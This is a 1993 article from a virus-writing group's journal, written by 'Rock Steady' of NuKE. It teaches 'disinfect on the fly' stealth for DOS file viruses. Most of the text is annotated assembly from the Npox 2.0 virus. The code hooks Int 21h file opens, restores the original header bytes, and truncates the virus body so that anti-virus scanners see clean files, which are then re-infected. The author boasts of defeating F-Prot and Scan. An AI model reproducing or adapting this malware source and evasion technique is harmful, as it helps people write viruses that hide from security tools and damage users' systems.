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Disinfecting an Infected File

Rock Steady
Nuke Info Journal [5]
March 1993

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The best advantage a virus can have is `Disinfecting of Fly' as we must try to basically hide the virus as well as possible! And nowadays Anti-Virus programs are going crazy. As I remember at the time Npox 2.0 was developed it would Disinfect every file opened by F-prot and Scan and when the Scanner found nothing and closed the file to go on to the next Npox would re-infect them. Truly can cause havoc, As a matter of fact Frisk didn't like this as I had some `Anti Fuck-Prot' routines and he added his own routine to open files by Int21h/6C00h, as Npox only disinfected on Int21h/3Dh, however to make the virus disinfect on Int21h/6C00h, doesn't require much work, simply to take the ASCIIZ string at DS:SI and put SI into DX so we have DS:DX pointing to it, then run this routine.

The Basic idea on disinfection is this...

For .COM files

Restore the first 3 bytes original Bytes of the program, these 3 bytes are usually somewhere inside the virus, and then simply remove the virus from the end of the .COM file! We do this by jumping to the end of the COM file and subtracting the Virus size from the File size and that new value is the original file size! NOTE: if you write a virus that its length changes (polymorphic) its wise to save the original Filesize to be infected before hand.

For .EXE files & Overlays

This procedure is not different, just that if you changed CS:IP & SP:SS in the EXE header, simply restore the original values, or to save time, simple save the Original EXE header (first 1b bytes) in the virus and right that to the beginning as I did for Npox 2.0 Then Subtract yourself from the original size and cut it off!

I will now follow thru the Npox 2.0 virus routine Closely so you can under stand this process.

Okay first thing you would want to do is CHECK if this is If the virus infects COMs & EXEs, do not waste your time looking thru other extensions, or for tight code you can waste your time and "HOPE" the `infection' marker will fail! Meaning if the virus uses the seconds field set to 60 (as Npox) then naturally only INFECTED files will have a time stamp of 60! And this routine is not needed...

opening_file:   call    check_extension         ;Check for .COM extension    
                jnc     open_fuck2              ;YES; Jmp & Disinfect
                call    check_exten_exe         ;Check for .EXE extension    
                jnc     open_fuck2              ;YES; Jmp & disinfect        
                jmp     dword ptr cs:[int21]    ;Other wise goto DOS          
                                                                             
; At this point the file has an .COM or .EXE extension, so we continue        
                                                                             
open_fuck2:     push    ax                      ;Save AX                      
                mov     ax,3d02h                ;Ready to open                
                call    calldos21               ;Do it!                      
;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h"  
;command, as the virus will intercept it, and will come to this routine      
;and it will continue over and over again, Never ending l
;stack gets too big, overwrite the code and the system ja
;in about 2 seconds...                                                        
                jnc     open_fuck1              ;No Error Continue            
                pop     ax                      ;restore                      
                iret                            ;Exit                        
                                                                             
open_fuck1:     push    bx                                                    
                push    cx                                                    
                push    dx                                                    
                push    ds                                                    
                mov     bx,ax                   ;BX=File handler              
                mov     ax,5700h                ;Get file TimeStamp          
                call    calldos21                                            
                                                                             
                mov     al,cl                   ;move seconds into al        
                or      cl,1fh                  ;Left just seconds            
                dec     cx                      ;60 Seconds                  
                xor     al,cl                   ;cmp                          
                jnz     opening_exit3           ;NOT 60 seconds exit!        
                                                                             
                dec     cx                                                    
                mov     word ptr cs:[old_time],cx  ;Save
                mov     word ptr cs:[old_date],dx  ;Save Date Stamp          
                                                                             
                mov     ax,4202h                ;Goto the End of File        
                xor     cx,cx                                                
                xor     dx,dx                                                
                call    calldos21                                            
                                                                             
                mov     cx,dx                   ;Save the filesize            
                mov     dx,ax                   ;we will need it later        
                                                ;to subtract the virus        
                push    cx                      ;size fromit...              
                push    dx                      ;Save it...                  
 

Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header) in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at the VERY END! Since the buffer I made was 1B hex bytes, it is able to hold the EXE header or 3 .com bytes, anyhow the beginning of these bytes are the last 1B bytes, since its at the end... figure it out where you saved your 3 bytes or exe header for your virus, or use the Npox routine...

                sub     dx,1Bh                  ;Subtract 1B bytes from      
                sbb     cx,0                    ;the filesize!                
                mov     ax,4200h                ;Now our pointer will        
                call    calldos21               ;point to the 1B bytes        
                                                ;Where the COM & EXE          
                                                ;original bytes are          
                push    cs                                                    
                pop     ds                      ;CS=DS (for exes)            
                                                                             
                mov     ah,3fh                  ;Read them into Buffer        
                mov     cx,1Bh                  ;1B bytes                    
                mov     dx,offset buffer        ;to our buffer                
                call    calldos21                                            
 

humm, now we got the original bytes, all we gotta do is write them back to the file's beginning...

                xor     cx,cx                   ;Goto Beginning of File      
                xor     dx,dx                   ;                            
                mov     ax,4200h                        
                call    calldos21                        
                                                                             
                mov     ah,40h                  ;Write first three bytes      
                mov     dx,offset buffer        ;our buffer                  
                mov     cx,1Bh                  ;1B bytes for EXEs            
                cmp     word ptr cs:[buffer],5A4Dh                            
                je      open_exe_jmp            ;if EXE file jump            
                mov     cx,3h                   ;if COM write only 3 bytes    
open_exe_jmp:   call    calldos21                                            
 

We wrote the original file's data back to place, now we need to cut the virus off from the file, the virus is written at the end of the file, so all we do is set our file-pointer to EOF - Virus_Size, which gives us the original file length!

                pop     dx                      ;EOF - Virus_Size            
                pop     cx                      ;to get ORIGINAL File size    
                sub     dx,virus_size           ;subtract virus size          
                sbb     cx,0                                                  
                mov     ax,4200h                                              
                call    calldos21                        
 

Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, at our new ptr location, what we do it use does to crop it, by writing 0 bytes to the new location, DOS will make that new location the NEW EoF and in result cutting off the virus and deleting its sector in the fat.

                mov     ah,40h                  ;Write new EOF                
                xor     cx,cx                   ;Zero Bytes                  
                call    calldos21               ;doit                        
                                                                             
                mov     cx,word ptr cs:[old_time]     ;Restore file time      
                mov     dx,word ptr cs:[old_date]     ;Restore file date      
                mov     ax,5701h                                              
                int     21h                                                  
                                                                             
                mov     ah,3eh                  ;Close File                  
                call    calldos21                                            
                                                                             
opening_exit3:  pop     ds                                                    
                pop     dx                              
                pop     cx                              
                pop     bx                                                    
                pop     ax                                                    
                jmp     dword ptr cs:[int21]     ;Return to DOS...            
 

ahh, the file is now Disinfected, now we safely return it to DOS and DOS may now open the file for inspection...

				Rock Steady / NuKE
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